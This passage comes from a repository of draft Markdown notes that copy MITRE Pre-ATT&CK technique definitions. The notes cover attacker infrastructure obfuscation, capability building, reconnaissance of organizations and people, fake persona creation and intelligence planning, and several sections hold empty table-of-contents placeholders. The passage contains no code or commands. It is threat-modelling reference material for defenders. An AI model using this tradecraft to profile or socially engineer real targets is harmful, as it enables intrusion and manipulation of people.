117 | * [Non-traditional or less attributable payment options - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1093)
118 | 	* Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts.
119 | 
120 | 
121 | -------------------------------
122 | ### OS-vendor provided communication channels
123 | * [OS-vendor provided communication channels - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1167)
124 | 	* Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices.
125 | 
126 | 
127 | 
128 | -------------------------------
129 | ### Obfuscate infrastructure
130 | * [Obfuscate infrastructure - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1086)
131 | 	* Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc.
132 | 
133 | 
134 | -------------------------------
135 | ### Obfuscate operational infrastructure
136 | * [Obfuscate operational infrastructure - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1095)
137 | 	* Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc.
138 | 
139 | 
140 | 
141 | -------------------------------
142 | ### Obfuscate or encrypt code
143 | * [Obfuscate or encrypt code - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1096)
144 | 	* Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption.
145 | 
146 | 
147 | 
148 | -------------------------------
149 | ### Obfuscation or cryptography
150 | * [Obfuscation or cryptography - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1090)
151 | 	* Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption.
152 | 
153 | 
154 | -------------------------------
155 | ### Private whois services
156 | * [Private whois services - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1082)
157 | 	* Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain.
158 | 
159 | 
160 | -------------------------------
161 | ### Proxy/protocol relays
162 | * [Proxy/protocol relays - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1081)
163 | 	* Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication.
164 | 
165 | 
166 | 
167 | -------------------------------
168 | ### Secure and protect infrastructure
169 | * [Secure and protect infrastructure - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1094)
170 | 	* An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures.
171 | 
172 | 
173 | 
174 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Build_Capabilities.md:
--------------------------------------------------------------------------------
  1 | # Build Capabilities
  2 | 
  3 | ## Table of Contents
  4 | - []()
  5 | - []()
  6 | - []()
  7 | - []()
  8 | - []()
  9 | - []()
 10 | - []()
 11 | - []()
 12 | - []()
 13 | - []()
 14 | - []()
 15 | - []()
 16 | 
 17 | 
 18 | 
 19 | 
 20 | [Build Capabilities - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Build_Capabilities)
 21 | * Building capabilities consists of developing and/or acquiring the software, data and techniques used at different phases of an operation. This is the process of identifying development requirements and implementing solutions such as malware, delivery mechanisms, obfuscation/cryptographic protections, and call back and O&M functions. 
 22 | 
 23 | 
 24 | 
 25 | 
 26 | 
 27 | 
 28 | 
 29 | 
 30 | 
 31 | 
 32 | 
 33 | 
 34 | 
 35 | 
 36 | 
 37 | ---------------------------------------------------------
 38 | ### Build and configure delivery systems
 39 | * [Build and configure delivery systems - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1124)
 40 | 	* Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments.
 41 | 
 42 | 
 43 | 
 44 | 
 45 | ---------------------------------------------------------
 46 | ### Build or acquire exploits
 47 | * [Build or acquire exploits - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1126)
 48 | 	* An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise.12 
 49 | 
 50 | 
 51 | 
 52 | 
 53 | 
 54 | ---------------------------------------------------------
 55 | ### C2 protocol development
 56 | * [C2 protocol development - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1129)
 57 | 	* Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media.
 58 | 
 59 | 
 60 | 
 61 | 
 62 | 
 63 | 
 64 | 
 65 | 
 66 | ---------------------------------------------------------
 67 | ### Compromise 3rd party or closed-source vulnerability/exploit information
 68 | * [Compromise 3rd party or closed-source vulnerability/exploit information - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1131)
 69 | 	* There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack.
 70 | 
 71 | 
 72 | 
 73 | 
 74 | ---------------------------------------------------------
 75 | ### Create custom payloads
 76 | * [Create custom payloads - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1122)
 77 | 	* A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment.
 78 | 
 79 | 
 80 | 
 81 | 
 82 | ---------------------------------------------------------
 83 | ### Create infected removable media
 84 | * [Create infected removable media - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1132)
 85 | 	* Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware.
 86 | 
 87 | 
 88 | 
 89 | 
 90 | ---------------------------------------------------------
 91 | ### Identify resources required to build capabilities
 92 | * [Identify resources required to build capabilities - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1125)
 93 | 	* As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out.
 94 | 
 95 | 
 96 | 
 97 | 
 98 | 
 99 | 
100 | 
101 | 
102 | ---------------------------------------------------------
103 | ### Obtain/re-use payloads
104 | * [Obtain/re-use payloads - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1123)
105 | 	* A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available.
106 | 
107 | 
108 | 
109 | 
110 | 
111 | ---------------------------------------------------------
112 | ### Post compromise tool development
113 | * [Post compromise tool development - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1130)
114 | 	* After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data.
115 | 
116 | 
117 | 
118 | 
119 | 
120 | 
121 | ---------------------------------------------------------
122 | ### Remote access tool development
123 | * [Remote access tool development - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1128)
124 | 	* A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT.
125 | 
126 | 
127 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Organizationa_ Information_Gathering.md:
--------------------------------------------------------------------------------
  1 | # Organizational Information Gathering
  2 | 
  3 | ## Table of Contents
  4 | - []()
  5 | - []()
  6 | - []()
  7 | - []()
  8 | - []()
  9 | - []()
 10 | - []()
 11 | - []()
 12 | - []()
 13 | - []()
 14 | - []()
 15 | - []()
 16 | - []()
 17 | - []()
 18 | 
 19 | 
 20 | 
 21 | 
 22 | [Organizational Information Gathering](https://attack.mitre.org/pre-attack/index.php/Organizational_Information_Gathering)
 23 | 	* Organizational information gathering consists of the process of identifying critical organizational elements of intelligence an adversary will need about a target in order to best attack.  Similar to competitive intelligence, organizational intelligence gathering focuses on understanding the operational tempo of an organization and gathering a deep understanding of the organization and how it operates, in order to best develop a strategy to target it. 
 24 | 
 25 | 
 26 | ---------------------------------------------------------
 27 | ### Acquire OSINT data sets and information - Pre-ATT&CK
 28 | * [Acquire OSINT data sets and information - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1054)
 29 | 	* Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world.
 30 | 
 31 | 
 32 | 
 33 | 
 34 | 
 35 | ---------------------------------------------------------
 36 | ### Conduct social engineering
 37 | * [Conduct social engineering - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1056)
 38 | 	* Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action.
 39 | 
 40 | 
 41 | 
 42 | 
 43 | 
 44 | ---------------------------------------------------------
 45 | ### Determine centralization of IT management
 46 | * [Determine centralization of IT management - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1062)
 47 | 	* Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards.
 48 | 
 49 | 
 50 | 
 51 | 
 52 | ---------------------------------------------------------
 53 | ### Determine physical locations
 54 | * [Determine physical locations - Pre-ATT&CK]()(https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1059)
 55 | 	* Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility.
 56 | 
 57 | 
 58 | 
 59 | 
 60 | ---------------------------------------------------------
 61 | ### Dumpster dive
 62 | * [Dumpster dive - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1063)
 63 | 	* Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest.
 64 | 
 65 | 
 66 | 
 67 | 
 68 | ---------------------------------------------------------
 69 | ### Identify business processes/tempo
 70 | * [Identify business processes/tempo - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1057)
 71 | 	* Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic.
 72 | 
 73 | 
 74 | 
 75 | 
 76 | ---------------------------------------------------------
 77 | ### Identify job postings and needs/gaps
 78 | * [Identify job postings and needs/gaps - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1055)
 79 | 	* Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts.
 80 | 
 81 | 
 82 | 
 83 | 
 84 | ---------------------------------------------------------
 85 | ### Obtain templates/branding materials
 86 | * [Obtain templates/branding materials - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1058)
 87 | 	* Templates and branding materials may be used by an adversary to add authenticity to social engineering message.
 88 | 
 89 | 
 90 | 
 91 | 
 92 | ---------------------------------------------------------
 93 | ### Identify supply chains
 94 | * [Identify supply chains - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1053)
 95 | 	* Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships.
 96 | 
 97 | 
 98 | 
 99 | 
100 | ---------------------------------------------------------
101 | ### Determine 3rd party infrastructure services
102 | * [Determine 3rd party infrastructure services - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1061)
103 | 	* A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise.
104 | 
105 | 
106 | 
107 | 
108 | 
109 | 
110 | 
111 | 
112 | 
113 | 
114 | 
115 | 
116 | 
117 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Organizational_Weakness.md:
--------------------------------------------------------------------------------
 1 | # Organizational Weakness Identification
 2 | 
 3 | 
 4 | ## Table of Contents
 5 | - []()
 6 | - []()
 7 | - []()
 8 | - []()
 9 | - []()
10 | - []()
11 | - []()
12 | - []()
13 | - []()
14 | - []()
15 | - []()
16 | - []()
17 | - []()
18 | - []()
19 | - []()
20 | 
21 | [Organizational Weakness Identification - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Organizational_Weakness_Identification)
22 | * Organizational weakness identification consists of identifying and analyzing weaknesses and vulnerabilities from the intelligence gathering phases which can be leveraged to gain access to target or intermediate target organizations of interest. 
23 | 
24 | 
25 | 
26 | ---------------------------------------------------------
27 | ### Analyze business processes
28 | * [Analyze business processes - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1078)
29 | 	* Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other avenues of attack.
30 | 
31 | 
32 | 
33 | 
34 | ---------------------------------------------------------
35 | ### Analyze organizational skillsets and deficiencies
36 | * [Analyze organizational skillsets and deficiencies - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1077)
37 | 	* Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.
38 | 
39 | 
40 | 
41 | 
42 | ---------------------------------------------------------
43 | ### Assess opportunities created by business deals
44 | * [Assess opportunities created by business deals - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1076)
45 | 	* During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable.
46 | 
47 | 
48 | 
49 | 
50 | ---------------------------------------------------------
51 | ### Assess security posture of physical locations
52 | * [Assess security posture of physical locations - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1079)
53 | 	* Physical access may be required for certain types of adversarial actions.
54 | 
55 | 
56 | 
57 | 
58 | ---------------------------------------------------------
59 | ### Assess vulnerability of 3rd party vendors
60 | * [Assess vulnerability of 3rd party vendors - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1075)
61 | 	* Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be.
62 | 
63 | 
64 | 
65 | 
66 | ---------------------------------------------------------
67 | ### Analyze presence of outsourced capabilities
68 | * [Analyze presence of outsourced capabilities - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1080)
69 | 	* Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing.
70 | 
71 | 
72 | 
73 | 
74 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/People_Information_Gathering.md:
--------------------------------------------------------------------------------
 1 | # People Information Gathering - Pre-ATT&CK
 2 | 
 3 | ## Table of Contents
 4 | - []()
 5 | - []()
 6 | - []()
 7 | - []()
 8 | - []()
 9 | - []()
10 | - []()
11 | - []()
12 | - []()
13 | 
14 | 
15 | [People Information Gathering - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/People_Information_Gathering)
16 | * People Information Gathering consists of the process of identifying critical personnel elements of intelligence an adversary will need about a target in order to best attack.  People intelligence gathering focuses on identifying key personnel or individuals with critical accesses in order to best approach a target for attack.  It may involve aspects of social engineering, elicitation, mining social media sources, or be thought of as understanding the personnel element of competitive intelligence. 
17 | 
18 | ---------------------------------------------------------
19 | ### Acquire OSINT data sets and information
20 | * [Acquire OSINT data sets and information - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1043)
21 | 	* Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise.1 
22 | 
23 | 
24 | 
25 | 
26 | ---------------------------------------------------------
27 | ### Aggregate individual's digital footprint
28 | * [Aggregate individual's digital footprint - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1052)
29 | 	* In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources.
30 | 
31 | 
32 | ---------------------------------------------------------
33 | ### Conduct social engineering
34 | * [Conduct social engineering - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1045)
35 | 	* Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action.
36 | 
37 | 
38 | ---------------------------------------------------------
39 | ### Identify business relationships
40 | * [Identify business relationships - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1049)
41 | 	* Business relationship information includes the associates of a target and may be discovered via social media sites such as LinkedIn or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship.
42 | 
43 | 
44 | 
45 | ---------------------------------------------------------
46 | ### Identify groups/roles
47 | * [Identify groups/roles - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1047)
48 | 	* Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator.
49 | 
50 | 
51 | ---------------------------------------------------------
52 | ### Identify job postings and needs/gaps
53 | * [Identify job postings and needs/gaps - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1044)
54 | 	* Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts.
55 | 
56 | 
57 | ---------------------------------------------------------
58 | ### Identify people of interest
59 | * [Identify people of interest - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1046)
60 | 	* The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target.
61 | 
62 | 
63 | 
64 | ---------------------------------------------------------
65 | ### Identify personnel with an authority/privilege
66 | * [Identify personnel with an authority/privilege - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1048)
67 | 	* Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers.
68 | 
69 | 
70 | ---------------------------------------------------------
71 | ### Identify sensitive personnel information
72 | * [Identify sensitive personnel information - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1051)
73 | 	* An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online.
74 | 
75 | 
76 | ---------------------------------------------------------
77 | ### Identify supply chains
78 | * [Identify supply chains - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1042)
79 | 	* Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain.
80 | 
81 | 
82 | 
83 | ---------------------------------------------------------
84 | ### Mine social media
85 | * [Mine social media - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1050)
86 | 	* An adversary may research available open source information about a target commonly found on social media sites such as Facebook, Instagram, or Pinterest. Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary.
87 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/People_Weakness_Identification.md:
--------------------------------------------------------------------------------
 1 | # People Weakness Identification
 2 | 
 3 | 
 4 | 
 5 | 
 6 | * [People Weakness Identification](https://attack.mitre.org/pre-attack/index.php/People_Weakness_Identification)
 7 | 	* People weakness identification consists of identifying and analyzing weaknesses and vulnerabilities from the intelligence gathering phases which can be leveraged to gain access to target or intermediate target persons of interest or social trust relationships. 
 8 | 
 9 | 
10 | 
11 | 
12 | 
13 | 
14 | 
15 | 
16 | -------------------------------
17 | ### Analyze organizational skillsets and deficiencies
18 | * [Analyze organizational skillsets and deficiencies - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1074)
19 | 	* Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation.
20 | 
21 | 
22 | 
23 | -------------------------------
24 | ### Analyze social and business relationships, interests, and affiliations
25 | * [Analyze social and business relationships, interests, and affiliations - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1072)
26 | 	* Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail.
27 | 
28 | 
29 | 
30 | 
31 | -------------------------------
32 | ### Assess targeting options
33 | * [Assess targeting options - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1073)
34 | 	* An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments.12 
35 | 
36 | 
37 | 
38 | 
39 | 
40 | 
41 | 
42 | 
43 | 
44 | 
45 | 
46 | 
47 | 
48 | 
49 | 
50 | 
51 | 
52 | 
53 | 
54 | 
55 | 
56 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Persona_Development.md:
--------------------------------------------------------------------------------
 1 | # Persona Development
 2 | 
 3 | * [Persona Development - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Persona_Development)
 4 | 	* Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity. 
 5 | 
 6 | 
 7 | 
 8 | 
 9 | 
10 | 
11 | 
12 | 
13 | -------------------------------
14 | ### Build social network persona
15 | * [Build social network persona](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1118)
16 | 	* For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (Facebook, LinkedIn, Twitter, Google+, etc.).
17 | 
18 | 
19 | 
20 | 
21 | 
22 | -------------------------------
23 | ### Choose pre-compromised mobile app developer account credentials or signing keys
24 | * [Choose pre-compromised mobile app developer account credentials or signing keys](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1168)
25 | 	* The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps.
26 | 
27 | 
28 | 
29 | -------------------------------
30 | ### Choose pre-compromised persona and affiliated accounts
31 | * [Choose pre-compromised persona and affiliated accounts](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1120)
32 | 	* For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.
33 | 
34 | 
35 | 
36 | 
37 | 
38 | 
39 | -------------------------------
40 | ### Develop social network persona digital footprint 
41 | * [Develop social network persona digital footprint - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1119)
42 | 	* Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.
43 | 
44 | 
45 | 
46 | 
47 | -------------------------------
48 | ### Friend/Follow/Connect to targets of interest
49 | * [Friend/Follow/Connect to targets of interest - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1121)
50 | 	* Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.
51 | 
52 | 
53 | 
54 | 
55 | -------------------------------
56 | * [Obtain Apple iOS enterprise distribution key pair and certificate - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1169)
57 | 	* The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected).
58 | 
59 | 
60 | 
61 | 
62 | 
63 | 
64 | 
65 | 
66 | 
67 | 
68 | 
69 | 
70 | 
71 | 
72 | 
73 | 
74 | 
75 | 
76 | 
77 | 
78 | 


--------------------------------------------------------------------------------
/Draft/ATT&CK-Stuff/Pre-ATT&CK/Priority_Definition _lanning.md:
--------------------------------------------------------------------------------
  1 | # Priority Definition Planning
  2 | 
  3 | 
  4 | 
  5 | * [**Priority Definition Planning - Pre-ATT&CK**](https://attack.mitre.org/pre-attack/index.php/Priority_Definition_Planning)
  6 | 	* Priority definition planning consists of the process of determining the set of Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ) required for meeting key strategic, operational, or tactical goals. Leadership outlines the priority definition (may be considered a goal) around which the adversary designs target selection and a plan to achieve. An analyst may outline the priority definition when in the course of determining gaps in existing KITs or KIQs.
  7 | 
  8 | 
  9 | 
 10 | 
 11 | -------------------------------
 12 | ## Assess KITs/KIQs benefits
 13 | * [Assess KITs/KIQs benefits - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1006)
 14 | 	* Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. 
 15 | 
 16 | 
 17 | 
 18 | 
 19 | 
 20 | -------------------------------
 21 | ## Assess current holdings, needs, and wants
 22 | * [Assess current holdings, needs, and wants - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1013)
 23 | 	* Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement.
 24 | 
 25 | 
 26 | 
 27 | 
 28 | -------------------------------
 29 | ## Assess leadership areas of interest
 30 | * [Assess leadership areas of interest - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1001)
 31 | 	* Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT.
 32 | 
 33 | 
 34 | 
 35 | 
 36 | -------------------------------
 37 | ## Assign KITs/KIQs into categories
 38 | * [Assign KITs/KIQs into categories - Pre-ATT&CK](https://attack.mitre.org/wiki/Technique/T1123)
 39 | 	* Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor.
 40 | 
 41 | 
 42 | 
 43 | -------------------------------
 44 | ## Conduct cost/benefit analysis
 45 | * [Conduct cost/benefit analysis - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1003)
 46 | 	* Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries.
 47 | 
 48 | 
 49 | -------------------------------
 50 | ## Create implementation plan
 51 | * [Create implementation plan - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1009)
 52 | 	* Implementation plans specify how the goals of the strategic plan will be executed.
 53 | 
 54 | 
 55 | 
 56 | -------------------------------
 57 | ## Create strategic plan
 58 | * [Create strategic plan - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1008)
 59 | 	* Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out.
 60 | 
 61 | 
 62 | 
 63 | 
 64 | 
 65 | -------------------------------
 66 | ## Derive intelligence requirements
 67 | * [Derive intelligence requirements - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1007)
 68 | 	* Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement.
 69 | 
 70 | 
 71 | 
 72 | 
 73 | -------------------------------
 74 | ## Develop KITs/KIQs
 75 | * [Develop KITs/KIQs](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1004)
 76 | 	* Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations.
 77 | 
 78 | 
 79 | 
 80 | 
 81 | -------------------------------
 82 | ## Generate analyst intelligence requirements
 83 | * [Generate analyst intelligence requirements - Pre-ATT&CK](https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1011)
